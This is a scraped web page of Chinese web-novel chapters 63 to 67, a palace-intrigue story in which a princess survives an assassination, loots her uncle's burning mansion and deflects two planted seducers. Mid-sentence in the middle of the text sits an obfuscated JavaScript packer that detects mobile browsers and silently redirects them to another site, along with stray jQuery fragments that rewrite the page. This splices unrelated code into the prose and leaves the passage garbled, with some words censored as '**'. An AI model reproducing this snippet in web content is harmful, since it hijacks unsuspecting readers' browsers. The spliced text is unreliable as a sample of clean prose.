说完,他夺了一个黑衣人的剑,跟他们打了起来。 杜若蒙了,世子爷如今竟然肯为了自家主子冒险,主子什么时候魅力这么大了? 黑衣人越来越多,霍承安招架不住,但是那些黑衣人似乎并不想对霍承安下死手,只是一味的敷衍避让。 但是对慕馨宁却是心狠手辣,鸦羽拼命护着慕馨宁。 慕馨宁知道自己跑不了,她从身上摸出两包药粉给鸦羽:“我们屏住呼吸,药粉撒出去!” 这是她出门的时候找老头儿要来防身的东西,没想到这么快就用上了。 药粉撒出去,那些个黑衣人招架不住,霍承安也被熏趴下了。 可是没想到,这些黑衣人趴下,很快又出现一批黑衣人将慕馨宁包围。 鸦羽刚要带着慕馨宁寻个出路,慕馨宁忽然感觉头晕的厉害,她顿时想起了那梅花酿来。 信武侯还真是太看得起她了,派了那么多人杀她,还提前给她下了**。 说来真是可笑,她虽然是长公主,身份尊贵,但是谁都知道,永平帝和晏骁寒也想对付她,不然信武侯也不会这么大的胆子公然在侯府对她下手。 但是,信武侯也不怎么聪明,她要是死在侯府,皇帝还可以来个黄雀在后,拿她的死大做文章,趁机治信武侯的罪,到时候信武侯没准得吃不了兜着走。 “主子,你没事吧?”鸦羽有些担心。 慕馨宁从身上摸出一粒药丸送进嘴里:“没事。” “这信武侯真是好大的手笔,看来今日是非得要了本宫的命不可。” “当然,当年你**儿还没长齐的时候,本侯就想杀你了,要不是太后拦着,你的坟头草都要有一人多高了!” 话音落,信武侯从远处大步而来,他看慕馨宁的目光透着阴狠。 他真是肠子都悔青了,要是早杀了慕馨宁,他的儿子也不至于惨死在慕馨宁手里。 慕馨宁眼睛眯了眯,语气中满是嘲讽:“我的好舅舅,你终于露出真面目了,你这些年跟本宫装好人,也累坏了吧?” 信武侯手里的剑指向慕馨宁:“闭嘴,看本侯不要了你的命,都给我动手!” 信武侯话音落,黑衣人开始朝着慕馨宁逼近。 杜若吓得腿都软了,慕馨宁给了鸦羽一个眼神,鸦羽当即吹了一声口哨。 刘营第一个从高墙之外越了进来,其他人也鱼贯而入。 信武侯大惊,没想到慕馨宁竟然还有这一手,他来不及多说,两方人马打的不可开交。 慕馨宁特意交代:“留了信武侯的命,明日他还要带兵出征。” 要是信武侯就这么**,明日朝堂又要一片混乱,没准还要把她牵扯进去。 “殿下,您没事吧。” 刘营在外头急的团团转,一直在等着鸦羽的信号,时间拖的这么久,他还以为慕馨宁出事了。 “没事,你去给我办一件重要的事情。” 慕馨宁压低了声音,在刘营耳边说了几句,刘营听的瞪大眼睛。 他很快兴奋起来,招呼两个机灵的手下就闪进了夜色中。 前院花厅,有下人来报说府上来了一大批刺客。 客人听了顿时大惊失色,信武侯夫人连忙让人护送他们离开,人走光了,才能更方便对慕馨宁下手。 崔惜颜紧张的扯着信武侯夫人的衣襟,一脸担忧:“娘,此事能成吗?” 宋菀菀冷哼一声:“表姐放心,母后和舅舅派了那么多人杀她,定不会给她活命的机会!” 听了这话,信武侯夫人心里踏实不少。 他们夫妻已经在崔玉博陵前挖好了墓地,请了道士,等慕馨宁一死,就把人埋到崔玉博跟前,让慕馨宁生生世世给崔玉博做奴隶做畜生,任由崔玉博驱逐鞭打。 “娘,她下葬之前,定要让人将她扒皮抽筋,还要将她鞭尸,方能解我们的心头之人!” 一想到被慕馨宁害如此境地,崔惜颜咬牙切齿。 信武侯夫人一想到儿子的惨死,就心痛的喘不过气来:“要不是她的尸首还有用处,我定要将她挫骨扬灰不可!” 宋菀菀拉住崔惜颜的手:“表姐宽心,我已经交代下去了,定不会让她那么痛快的**,那些人定要把她折磨的生不如死,还要让她去表哥坟前磕头忏悔才行!” 崔惜颜有些兴奋,恨不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545149|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲眼去看看慕馨宁受罪。 “夫人……夫人不好了……” 三个人正等着慕馨宁的死讯,下人忽然一脸惊慌连滚带爬的冲了进来。 母女皆是脸色一变:“怎么了?” 下人带着哭腔:“着火了,着火了!” 三个人出去的时候,侯府多处已经火光冲天,周围乱作一团,有逃命的,有救火的,哭嚎声、惨叫声、吆喝声一浪高过一浪,简直是比菜市场还要热闹。 崔惜颜忽然想起什么,脸色惨白起来:“承安,承安哪里去了……他怎么还没回来?” 侯夫人心头一沉,霍承安要是在侯府出了事,他们怎么向皇后和安国公府交代? 宋菀菀迟疑:“会不会先走了?” 崔惜颜急的跺脚,眼泪如断了线的珠子:“不会的,他的小斯还在那里!” 崔惜颜指了一个方向,果然看见了霍承安的小斯,那小斯满头大汗气喘吁吁的过来,向几个人问霍承安的下落,三个人顿时腿都软了。 侯府乱作一团,慕馨宁已经上了马车。 “怎么样了?”她掀开车帘,看刘营急匆匆的过来了。 刘营一脸激动:“殿下真是神人,属下按照你说的地方去寻,果然寻到了一大批财宝,我们的人正在装车。” 慕馨宁点头:“看看府上还有什么值钱的,都不要落下。” 刘营拱手称是。 公主府的马车慢悠悠的往回走,不远处,有两个人影。 即墨看着信武侯府冲天的火光,再看看慕馨宁渐行渐远的马车,一脸复杂:“主子还担心长公主的安危,应该担心侯府的安危才是。” 瞧瞧瞧瞧,怕是一夜过后,信武侯府就成了一片废墟了,这长公主的手段真是太狠了。 “谁说本官担心她,本官只是路过。”晏骁寒说完,打马离开。 即墨追上,他烦躁的挠了挠头,最终还是壮着胆子问:“主子,您不会真喜欢上长公主了吧?” 那个慕馨宁有什么好的,乡下村姑都比她强,至少村姑还知道女子的贞节比性命还重要,哪像慕馨宁,水性杨花,跟自家主子有了婚约还不知道检点。 晏骁寒放慢速度,冷冷的看向即墨:“你哪只眼睛看出来本官喜欢她?” 即墨想说,他两只眼睛都看出来了。 忽然他又想到了什么,顿时激动起来:“主子,您肯定也想杀了她是不是,您对她好只是为了迷惑她,让她放松警惕,到时候给她致命一击对不对?” 第64章 卖惨 他还等着晏骁寒的答案,只可惜只看见了晏骁寒远去的背影。 这一夜,慕馨宁睡的很好,而信武侯府的人却彻夜未眠。 信武侯和太后派了那么多人杀慕馨宁,可是慕馨宁不但好端端的脱身,侯府还被烧成了一片废墟。 而安国公嫡子霍承安,在侯府受了不少罪,先是被慕馨宁的药粉迷晕,后来侯府失火,他差点被烤成人肉干,幸好他的人及时发现。 安国公震怒,因为当初,他国公府并不想去信武侯府赴宴,还是碍于两家的婚约,他才不得不让霍承安去敷衍,没想到霍承安差点丢了性命。 安国公一上朝,就请永平帝做主,取消两家的联姻,永平帝一副迫于无奈的样子,答应了。 这一下,信武侯府和安国公府联姻的事情,彻底没戏了。 信武侯对安国公一阵赔礼,还想转圜,没想到安国公连个好脸色都不给,信武侯气的头晕脑胀。 信武侯府一片废墟,崔惜颜和霍承安取消婚约,可是现在信武侯什么也做不了,他就要带领八万大军前往边关。 永平帝和文武百官为信武侯送行,包括慕馨宁。 慕馨宁特意挤进文官人群中,和晏骁寒站在了一处。 晏骁寒侧头看她:“何事?” 慕馨宁摇头:“一边看美男,一边看好戏,我这脚下可是风水宝地。” 前半句,晏骁寒面色微沉,后半句,晏骁寒面带疑惑。 什么好戏,好戏昨夜侯府不是已经上演完了? 众目睽睽之下,信武侯还想保留最后一丝风光,就在他骑上马背准备发号施令的时候,信武侯夫人脸色难看惊慌失措的冲了过来。 “侯爷,不好了,府上出事了!” 信武侯脸色难看,侯府都被烧的不剩什么了,还能出什么事? 该不会是他那个好女儿知道婚约取消,又要死要活了吧? “何事?”他没好气的问。 信武侯夫人压低声音:“你今日让我拿了钱四处打点,重修宅院,我去小库房一看……发现里面什么都没有了!” 信武侯直接从马背上栽了下来。 “侯爷!”众人一惊。 慕馨宁双手环在胸前,胳膊肘怼了怼晏骁寒,给了晏骁寒一个眼神,告诉他这就是好戏。 晏骁寒不太愿意理会慕馨宁,特意挪了挪身子,结果慕馨宁又厚颜无耻的蹭了过来。 晏骁寒不再理会她,只看向信武侯。 信武侯顾不上身上的疼,怒目圆瞪的对侯夫人道:“你再说一遍!” 信武侯夫人,硬着头皮将之前的话又重复了一遍。 府上还丢了许多贵重的东西,但是没有库房里的金子重要,信武侯夫人直接省略了。 信武侯捂着胸口,还没等开口,顿时吐出一口血来,然后两眼一翻,险些昏死过去。 小库房里的钱,不是一比小数目,那可是十万两黄金,是金矿那边刚送来不久的。 那都是太后的钱,若是平常,他一两都不敢动,连给崔惜颜添嫁妆都不敢,生怕被永平帝查到一点金矿的蛛丝马迹。 可是侯府如今落得如此狼狈,他迫不得已才想着从小库房里取用,若是有了钱还要添补回去的。 那么多钱,就这么丢了,他怎么跟太后交代? “侯爷,侯爷你怎么样……你可别吓我,你要是有个三长两短,我们侯府可如何是好啊……” 信武侯夫人一边扶着信武侯,一边哭诉。 “信武侯,发生了什么事,皇上让奴才来问一下……” 这时,贵公公夹着一把拂尘走了过来。 信武侯一把推开信武侯夫人,迅速抹了一把嘴角的血迹,站直身子对贵公公道:“无事,本侯这就领兵出征!” 他不能就这么倒下,否则手里这八万军权被夺,那他还有什么脸面活着。 临走前,他不得不交代信武侯夫人:“此事定是跟慕馨宁脱不了关系,无论用什么办法一定要将金子找回来,还有,杀了慕馨宁!” 侯夫人一边擦眼泪,一边点头。 看着信武侯带着兵马渐行渐远,诸位大臣们开始议论纷纷。 如今信武侯府可成了焦点,这又是刺客,又是火灾又是退婚的,刚刚不知道又发生了什么大事,信武侯被打击成那样。 很快,有人来到晏骁寒跟前小声禀报。 晏骁寒不可置信的看向慕馨宁:“你做的?” 慕馨宁挑了挑额头的碎发,一言不发。 晏骁寒:“那么多钱,你想私吞?” 慕馨宁:“那也是本宫凭本事得来的好吧,你要是想分一杯羹,没门。” 晏骁寒:“本官可以告诉皇上。” 慕馨宁瞪了晏骁寒一眼:“多大的人了,还告状,啧啧……” 晏骁寒:“……” 他沉默片刻,对慕馨宁道:“你想私吞也可,但是本官有一事相求。” 慕馨宁:“什么事?” 一个时辰之后,永平帝去了公主府。 姬神医看见他,山羊胡都要翘到天上去了:“就是你经常为难长公主?” 这孙子还来找他治病,就不怕他直接把这孙子送上西天? 永平帝一脸尴尬,不知该如何开口。 慕馨宁叹了口气,对姬神医道:“外公,好歹我们也是同父异母的兄妹,多少有点血缘亲情,就算以前他对不住我,我也不能跟他计较,白白让外人钻了空子。” 永平帝捏了捏太阳穴,他什么时候对不住慕馨宁了,明明是慕馨宁总是挑衅他。 姬神医冷哼一声,还是给永平帝搭了脉。 很快,他一脸不可置信的盯着永平帝看了半天。 永平帝感觉颜面无存,将头埋得要多低有多低。 “外公,情况如何?” 慕馨宁见老头儿一脸震惊的样子,有些担忧,永平帝不会真的快不行了吧? 片刻,永平帝收了手:“也不是不能治,就是有些麻烦。” 永平帝顿时激动起来:“朕……晚辈不怕麻烦!” 只要能延绵子嗣,江山后继有人,其他的都是小事。 姬神医写了几张方子:“这张是药浴,这张煮了汤药喝,三个月了后再看情况。” 慕馨宁震惊,什么病三个月还治不好,而且还这么麻烦? 但是老头儿和信武侯不说,她也不好多问。 永平帝和晏骁寒都来了,慕馨宁特意准备了午饭。 水煮鱼,荷叶小炒,毛血旺,烧茄子,鱼香肉丝,脆皮豆腐,溜肉段…… 主食,鸡蛋灌饼,肠粉,蛋肉堡,虾滑麻酱酸汤面。 众人吃的十分满足,永平帝直接吃撑。 信武侯的事情差不多解决了,他的隐疾也能治好,心烦的事情一解决,这胃口也好了。 “长公主,你这奶茶不错,能不能给朕一张方子。” 尤其是情绪压抑的时候,喝了这个东西定是可以舒缓一些。 慕馨宁点头,方子给了永平帝和晏骁寒一人一张。 “你们自己用可以,不得外传,等时机一到,我还要开个酒楼呢。” 永平帝听了来了兴致:“那朕能不能也入上一股?” 慕馨宁点头:“行啊,臣妹求之不得。” 送永平帝离开前,慕馨宁不经意看见永平帝衣袍上的金线缺了不少,估计是被划破了还没补修,而且他脚上的鞋子也有些旧了。 这才想起,上一世永平帝还是挺节俭的,也算是为国为民鞠躬尽瘁,除去两个人的恩怨来说,也算得上是一个好皇帝。 一想起自己从信武侯府得来的十万两黄金,犹豫了一下,对永平帝道:“皇兄你且等等。” 慕馨宁喊来刘营,没一会搬来一个箱子。 马车里,永平帝看着一箱子的金砖,一脸错愕。 一块金砖有十两,大概有二百多块的样子,那就是二十多万两银子。 “所以,你今日让朕装扮成这样,就是跟长公主……卖惨……” 第65章 脱,衣,舞 他说着,看了看自己脚上那双半旧的鞋子,和衣服上被故意挑开的金线。 晏骁寒摇了摇手里的折扇:“两万多金子,皇上不亏。” 永平帝拍了拍胸口,有些惋惜:“早知道这样,那朕就穿的再落魄一些才好。” 晏骁寒:“过犹不及。” 要是被慕馨宁发现他们的目的,一两金子拿不到不说,还得被嘲讽一番。 长公主府。 “主子,蔺先生回来了。” 慕馨宁正在库房整理从信武侯那弄来的金银珠宝,鸦羽从外头进来,递给慕馨宁一张拜贴。 慕馨宁笑了笑,这位蔺先生可是清高的很,平日里都是她主动巴结,如今他才刚刚回京,就主动递上拜贴,主要原因还是想请姬神医为他的老母亲诊病。 不过这也是人之常情,慕馨宁很理解。 “那就明日请他来府上做客,告诉虞零落,准备好拜师礼。” 鸦羽应声退下。 慕馨宁将库房里的东西整理一遍,对刘营道:“给玄翎两万两黄金,让他给军营的兄弟们发了月饷,缺什么补什么,你那边缺多少拿多少,公主府缺人手,你看看有没有信得过的人,男女皆可,只要忠心,再培养一些歌姬舞姬,以备不时之需。” 不过歌姬舞姬暂且养在最近的别院就好,公主府最好少一些外人比较稳妥。 “殿下,信武侯夫人来了。” 慕馨宁刚从库房出来,管家便来报。 慕馨宁问:“她来做什么?” 管家:“老奴问过了,她不肯说。” 慕馨宁去了花厅,信武侯夫人正在喝茶。 她身后,站了两个年轻的男子,容貌上乘,五官标志。 “侯夫人前来,所为何事?” 之前在信武侯府被刺杀,双方等于完完全全撕破脸了,慕馨宁是在混乱中不告而别。 信武侯提着剑在侯府找了一圈也没找到她的影子才作罢,如今慕馨宁懒得再跟信武侯夫人客套。 信武侯夫人起身,朝着慕馨宁行了一礼,担忧道:“昨日府上出现刺客,长公主受惊了,不知可有受伤?” 慕馨宁眉头微挑,本以为信武侯夫人一上门就要质问她是不是她放火烧了侯府,是不是她偷了侯府的金银,没想到还能开口关心她。 果然,能在深宅内摸爬滚打二十多年的女人,还是有些手段的。 “那倒没有,只是受了惊吓。” 信武侯夫人松了口:“那就好,本来还想带一些赔礼,但是你也知道,侯府不但被烧成了废墟,府上还丢了许多钱财,也没什么能拿得出手的。” 慕馨宁:“理解。” 她如此敷衍,信武侯夫人脸上有些挂不住,她苦笑,又叹了口气:“今日来,我是有事相求,还请长公主能帮个忙。” 慕馨宁喝了口茶,面色如常:“您说。” 信武侯夫人给了身后两个男子一个眼神,二人便到慕馨宁跟前行礼。 “草民元景,见过长公主。” “草民元青,见过长公主。” “真是不巧,侯府成了一片废墟,自家人都难安身,可是偏偏这个时候远房的两个侄子来投奔,我也怕委屈了他们,所以想请长公主暂且收留,让他们二人暂住一段时间,等我府上修缮好,再来接他们。” 慕馨宁没咽下的茶差点喷出来,她终于是明白了信武侯夫人的目的。 给她送男人,不但可以迷惑她,又能打探侯府那些个财宝的下落,或者要了她的命。 还可以挑拨她和晏骁寒的关系,让她和晏骁寒反目成仇。 这可是一举多得的好计谋,真是聪明。 慕馨宁又打量那两个男子一眼,容貌不错,身材尚可,衣服穿的半新不旧。 表面看,倒像是清白人家的孩子,但是仔细一看,就会注意到二人眉眼间的媚态,没想到这还是被调教过的。 慕馨宁放下手里的茶盏,目光如炬的落在信武侯夫人身上:“您不会不知道,那日信武侯亲自提着剑带着黑衣人要在侯府杀了本宫吧?” 本以为信武侯夫人会面色尴尬,矢口否认。 没想到她却坦然的对上慕馨宁的目光:“那日侯爷醉了酒,思念玉博,他确实有错,不过你也没有受伤,又让人烧了我们侯府,取了金银珠宝,我们就算两清了吧。” 既然慕馨宁把话说的这么直白,那她也可以揭开慕馨宁的罪行,大不了图穷匕见,两败俱伤。 慕馨宁忽然笑了。 信武侯夫人也笑了笑,主动圆场:“一个巴掌拍不响,各有各的错,好歹上头还有个太后娘娘,看在太后娘娘的面子上,我们之间的恩怨就算了吧。” 信武侯没提让慕馨宁赔偿大火中的损失,也没让慕馨宁交还偷走的金银珠宝。 信武侯夫人也明白,要是真跟慕馨宁认真计较,慕馨宁定然不会承认的。 侯府也没有慕馨宁的罪证,同时还会被慕馨宁反咬信武侯带人杀她的事情,双方只会拼个你死我活,坐收渔利的就是永平帝。 她保留最后一丝体面,还是想和慕馨宁来阴的。 当然,慕馨宁也不会傻到相信侯夫人对她如此大度,一点也不跟她计较。 既然信武侯夫人还想接着跟她演,那她也奉陪到底。 她沉默着,也不说侯府的火是不是她放的,金银珠宝是不是她偷的。 信武侯夫人又继续之前的话题:“两个侄子的事情,我这也是实在没有法子,好歹我们亲戚一场,只能厚着脸皮来求长公主帮忙了。”侯夫人陪笑道。 慕馨宁脸上有了点笑意:“好,这点事倒不算什么,本宫就答应了。” 信武侯夫人松了口气,又跟慕馨宁客套两句就离开了。 慕馨宁打量眼前两个男子,淡声问:“都会什么才艺?” 二人不安,慕馨宁问这话,不会是把他们当成秦楼楚馆出来的小倌儿吗? 元景答:“草民不才,琴技学了一二。” 无论是富贵人家还是殷实人家,男子学些乐器也可以理解为陶冶情操,文才兼备,所以他开始自我安慰。 元青答:“草民会吹萧,也只学了一些皮毛。” 慕馨宁懒散的靠在椅子上:“会跳舞吗?” 这话就有些不妥了,正儿八经的男子,可骑马可射箭,哪有会跳舞的,只有那种地方的男子才会。 元青眸光一转,犹豫了一下:“殿下想看什么舞,只要殿下高兴,草民试试能不能学习一二。” 反正他们来,讨好慕馨宁是必不可少的,所以慕馨宁如此‘上道’,他们心里反而轻松了一些。 慕馨宁随口道:“脱衣舞,十八摸,都行。” 二人对视一眼,顿时又慌了神,慕馨宁这话太露骨了,到底是她本性如此,还是在试探羞辱他们? 二人都是一副敢怒不敢言、受了屈辱的样子。 要是他们真给慕馨宁跳这种舞,他们的身份岂不是就藏不住了,慕馨宁轻而易举就拆穿了信武侯夫人的谎言。 慕馨宁有些失望的起身:“你们自便吧,本宫先去忙了。” 走远之后,慕馨宁冷淡的脸色黑沉几分,对鸦羽道:“让人盯着他们。” 第66章 色诱? 她倒是要看看,这两个人能在公主府闹出什么花样子来。 鸦羽应声称是。 次日,蔺先生上门,慕馨宁叫了虞零落来。 蔺先生四十多岁的年纪,脸上带笑,儒雅随和,但是眉心深深的沟壑却又与他的表象相悖,让人望而生畏,不敢放肆。 他一身墨绿色粗布衣衫,坐在慕馨宁下首,目光锐利的打量面前的虞零落。 虞零落被看的有些紧张,心都提到了嗓子眼。 这就是大名鼎鼎的华庭书苑前任院长吗,听说当今皇上还曾请他入朝为官,可是却被他拒绝了。 “你在怕什么?”蔺先生见虞零落胆怯的样子,眉心的沟壑又深了几分。 慕馨宁想要开口替虞零落打圆场,话到嘴边,又忍住了。 虞零落过于紧张,说话声音也很小:“晚辈……久仰蔺先生大名,担心哪里不妥,冒犯了先生……” 蔺先生喝了口茶,语气冷淡:“读书人也是有风骨的,头可断血可流,志气不能丢,不应该看谁名气大、身份高贵就卑躬屈膝小心翼翼的巴结讨好趋炎附势。” “读书不是为了锦衣玉食,更不是为了攀附权贵,是为了有朝一日能为百姓为朝廷奉献自己。” “死可轻于鸿毛,可重于泰山,若你只为了锦衣玉食、只为了攀附权贵,又是个贪生怕死之辈,那也不必读书,直接去给那些个王孙贵族当牛做马吧。” 虞零落醍醐灌顶,当即一脸郑重的双膝跪地,向蔺先生行跪拜大礼:“学生受教了,还请先生责罚。” 虽然他很怯懦,但是心里明白,有慕馨宁引荐,蔺先生又亲自前来,他定能顺利拜师,所以直接改了称呼。 蔺先生脸色缓和几分,看向慕馨宁。 慕馨宁坐直身子认真道:“那就,准备拜师吧。” 虞零落敬了茶,奉了拜师礼,又得蔺先生好一番训诫,慕馨宁都快睡着了,这拜师礼就算完成了。 慕馨宁看时候还早,让人去请蔺先生老母亲来做客,又让厨房多准备了一些饭菜。 蔺先生看慕馨宁的目光满是复杂,左右厅里也没外人,他开口就问:“长公主还是惦记着东陵的皇位吗?” 既然慕馨宁愿意劳烦姬神医给他老母亲治病,他心存感激,不得不再劝诫慕馨宁一番。 当初慕馨宁就是他的学生之一,戒尺都打断了三条,慕馨宁还是一副自以为是死不悔改的样子,他嘴皮子都要磨出茧子来了,依旧不能劝动慕馨宁。 他不怕慕馨宁造反时连累自家,只担心连累了书院的学生,所以才不得不年纪轻轻就卸任告老还乡的。 本以为慕馨宁要么坚持,要么悔过,却听她淡淡道:“皇兄这个皇帝还算勤勉,本宫暂且不与他争,但是本宫要只是安分守己,不争权夺势,待皇兄强大起来,不还是要拿本宫开刀?” 蔺先生叹了口气:“你的意思,还要与你皇兄实力相当?” “那是自然。”慕馨宁毫不犹豫。 蔺先生喝了口茶,顿时觉得茶水里的苦涩多了几分。 慕馨宁忽然一脸正色道:“先生,本宫可没强迫你收虞零落为学生,您要是不想牵扯进来,此事就作罢。” “再说,朝中很多大臣的公子们不也是想拜您为师,您可以去教他们,将来本宫要是倒台了,他们定会力保你平安无事。” 蔺先生摆摆手,语气很淡:“无碍,我光棍一根不惧生死,只要老母亲能颐养天年便心满意足了。” 两个人的谈话是实在让人心惊肉跳,但是虞零落却什么也没说。 自打他父亲站队长公主,他的命运,也只能和慕馨宁连在一起。 摆脱不掉,那就认命就好。 蔺先生老母亲很快就来了,慕馨宁亲自迎接,两个人又客套了一番。 慕馨宁还是十分佩服蔺先生的老母亲的,她出身乡下,又被丈夫抛弃,却还能把蔺先生抚养长大,而且还教养的这么出色,很是难得。 尤其是和蔺老夫人握手的时候,看着她肿胀到可怕的骨节,心里很不是滋味。 慕馨宁刚要把蔺先生老母亲迎进府,恰巧看见晏骁寒打马过来。 晏骁寒见了蔺先生,当即下马见礼。 他出身寒门,当初要不是偶然得了蔺先生的指点,怕是未必能考中状元。 慕馨宁就道:“来都来了,一起吃个饭吧。” 晏骁寒并未拒绝,即墨却有些着急,之前自家主子不是答应了勤王,要去给勤王过寿吗,这就不去了,勤王那边怎么交代? 见晏骁寒面色如常若无其事的进了公主府,蔺先生心里一阵惊愕,晏骁寒不是皇帝的宠臣么,慕馨宁不是和皇上过不去么,这两个人怎么还能凑到一起。 他好奇的问:“外头传言,你们有了婚约,是真是假?” 慕馨宁和晏骁寒皆是沉默,仿佛都在等着对方开口。 这时,元青和元景二人迎了上来,恭敬的朝着慕馨宁行礼。 原本他们还以自己的容貌为荣,毕竟那么多人里,信武侯夫人只挑出了他们两个。 可是如今一看见晏骁寒,顿时觉得自己黯淡无光的很。 晏骁寒打量二人的目光有些骇人,二人皆是有了几分胆怯。 听说晏骁寒短短三年的时间爬上首辅的位置,定是手段狠辣,晏骁寒不会一个不高兴,就对他们下死手吧? 即墨肺都要气炸了,慕馨宁之前跟那个玄翎不清不楚也就罢了,竟然又养了两个野男人,将他家主子置于何地,简直是岂有此理! 本以为慕馨宁会极力掩盖自己的丑态,没想到她开口却问:“脱衣舞和十八摸都学会了?” 这两个人,早不出现,晚不出现,偏偏晏骁寒来的时候冒出来,真是好的很。 众人皆惊。 脱衣舞言简意赅,那十八摸是什么,是他们理解的那个意思吗? 博学多才的蔺先生,脸上都有些挂不住。 本以为晏骁寒这种清冷孤傲的人,能愿意跟慕馨宁一同用饭,是因为慕馨宁改了那些个坏毛病,至少表面功夫做的不错,才能得以晏首辅赏光,可是她这一开口,简直是原形毕露。 元青和元景脸上无光。 元青率先沉不住气:“长公主,我与兄长虽不是什么富贵人家的公子,好歹也是品行端正,不敢自甘堕落。” 慕馨宁嘴角上扬,然后转头对晏骁寒几人正色道:“这二人是信武侯夫人送来的,说是远房亲戚,因为侯府被火烧了无法安顿他们,所以送到了本宫这里。” 若是没有慕馨宁的上一句话,几人或许不会多想,可是偏偏慕馨宁一开口,就把话说的那么直白。 信武侯府和慕馨宁已经算是不共戴天了,信武侯府出现刺客,又失火的事情,定是和慕馨宁也有所牵连,信武侯夫人送来这么两个容貌不错的男子给慕馨宁,定是憋着什么坏吧。 色诱,然后给慕馨宁致命一击? 关键慕馨宁到底知不知道其中的利害关系?难道只为了床上那点破事,连自己性命都不顾了? 元青和元景对视一眼,都有些无措,他们出现在这里,不就是为了挑拨慕馨宁和晏骁寒的关系吗。 可是慕馨宁一开口,就打乱了他们的计划。 “退下吧。”慕馨宁冷声命令。 看着两个人离开,即墨板着脸问:“长公主不会对他们有了什么不该有的心思吧?” 第67章 睡一下? 慕馨宁侧头看他:“管的挺宽,跟你有关系?” 即墨:“我是为了……” 即墨看了一眼自家主子,到嘴边的话又咽了下去。 晏骁寒好似并没注意两个人说什么,正跟蔺先生探讨着什么。 其实蔺先生也只是没话找话,故意转移话题,生怕晏骁寒因为这两个不速之客跟慕馨宁翻脸。 饭菜很丰盛,佛跳墙、四喜丸子,灯影牛肉,鱼腹藏羊,酸菜鱼、梅菜扣肉,椒盐虾,干锅排骨,凉拌肥牛,腊味合蒸……还有几道青菜。 尤其是那一盏冰沙甜品,更是让人垂涎。 蔺先生尝了一口之后,就夸赞道:“清香甘甜,凉意沁人心脾,长公主真是有心了。” 慕馨宁淡笑:“不值一提,大家喜欢就好,我府上管够。” 即墨怎么也没想到,现在明月楼和各大酒楼供不应求的这道冰沙,竟然出自公主府。 明月楼里,这一盏冰沙就要二十两银子,虽然只是一些水加了水果,但是这冰却是难得。 席间,晏骁寒看了慕馨宁好几眼,以前这女人不是很少出京城吗,这么多稀奇古怪的东西是如何学得? 他已经让人调查了公主府的厨子,确定这些新奇的饭菜,都是出自于慕馨宁。 蔺老夫人对慕馨宁赞不绝口:“原来外头的都是传言,我倒是觉得,长公主蕙质兰心,善解人意,是个不可多得的好姑娘!” 之前,他们母子还担心,长公主不会轻易请动姬神医为她这个老太婆诊脉,毕竟当初长公主可没少挨自家儿子的打,万一长公主报复,要了他们母子的命都可能。 可是,没想到慕馨宁不但不记仇,还特意让人以最快的速度请了她来公主府,并且以座上宾相待,顿时觉得外头的那些个流言并不真实,长公主定是受了不少的委屈。 慕馨宁客套道:“老夫人谬赞,您不要客气,多吃菜……” 饭桌上的姬神医不大高兴,一副闷闷不乐的样子,别人跟他说话也是爱答不理,但是桌上的饭菜倒是一口没少吃。 大家吃了饭,又闲聊了几句,便请姬神医给蔺老夫人诊脉。 谁知老头儿直接让人搬来了他那一箱子的鲁班锁,板着脸对蔺先生道:“听说你很聪明,那这个东西你一定会解开了?” 蔺先生摸了摸下巴上的胡茬:“神医的意思……” 老头哼了一声:“你要是能解,我就给你老母亲瞧病,你要是不能解,就哪凉快哪待着去吧。” 蔺先生看了看慕馨宁,见慕馨宁目光闪躲,犹豫了一下道:“那……我试试……” 原本看似没有任何方法能解的鲁班锁,只要换个方向,换个思路,就能轻易脱离,蔺先生解的很顺手,姬神医都看呆了,渐渐的,脸色越来越难看。 蔺先生解到第三个的时候,慕馨宁咳嗽了一声,他福至心灵,叹了口气,一脸无奈:“我也是碰巧而已,其他的也不知该怎么解。” 姬神医原本难看的脸色缓和几分:“说你胖你还喘上了,我看你也不怎么聪明的样子。” 慕馨宁松了口气,然后对老头儿道:“外公,您还是给蔺老夫人瞧瞧吧,老人家为儿子操劳一生,也不容易,我实在是佩服。” 蔺老夫人更喜欢慕馨宁了,她拉着慕馨宁的手感慨:“长公主宽厚待人,只可惜我并没有孙子,若是有个孙子,定要让他为长公主效力,报答长公主的善举。” 本来只是感慨,没想到慕馨宁却对老头儿道:“外公顺道给蔺先生瞧瞧,看看他还能不能再给老人家添个孙子孙女。” 蔺先生端茶的手一抖,茶水溢出来大半。 这话是她一个未嫁的姑娘能说的吗,他可是这丫头的老师,简直是以下犯上目无尊长! 姬神医一边给蔺老夫人搭脉,一边开口:“他不行,命中有缺。” 老头儿早就观察过蔺先生的面相。 蔺先生脸色复杂,不知该说什么好。 姬神医又道:“若是老夫人想再生个一儿半女,倒是可以试一试。” 蔺老夫人虽然看着苍老,实际未到六十,若是姬神医好好调理,生儿育女倒也不是不可能。 此话一出,厅里鸦雀无声。 蔺老夫人一脸尴尬,恨不得把脸埋到桌子底下。 “我这一只脚都踏进了棺材,可没有那个心思,是我福薄,没有抱孙子的命,只求身体无虞,将来寿终正寝,不给儿子添麻烦……” 给蔺老夫人诊脉之后,慕馨宁又特意让老头儿给晏骁寒瞧了瞧。 之前老头儿给永平帝诊脉的时候,慕馨宁就忘了这件事,晏骁寒竟然也没提。 “你小子今年多大?”姬神医板着脸问。 晏骁寒:“二十有八。” 姬神医开口就道:“二十八岁,也没个女人,你要是再这么一直憋下去,那方面迟早是会出问题的。” 慕馨宁一口茶差点呛到。 这可是当朝首辅,被这么多人听见这样的秘密,他一个不开心,没准会大杀四方的。 其他人权当没有听见姬神医的虎狼之词,不是喝茶就是看花草。 蔺老夫人有些累了,于是,蔺先生带着老母亲先告辞,并且叮嘱虞零落明日正式授课,可搬到他府上落脚。 晏骁寒也要走,慕馨宁特意凑到他跟前小声道:“要是你有那方面的需要,我可以送你两个美人儿,绝对让你欲罢不能。” 晏骁寒顿住脚步,深深地看了慕馨宁一眼,然后头也不回的离开。 